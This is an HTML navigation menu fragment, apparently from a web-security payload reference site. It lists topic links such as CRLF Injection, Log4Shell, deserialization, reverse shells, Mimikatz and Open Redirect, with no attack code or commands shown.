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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
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Java RMI
</span>
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Java RMI
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<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
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</li>
</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
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<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
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LDAP Injection
</label>
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<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
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LDAP Injection
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</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTeX Injection
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</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
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<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
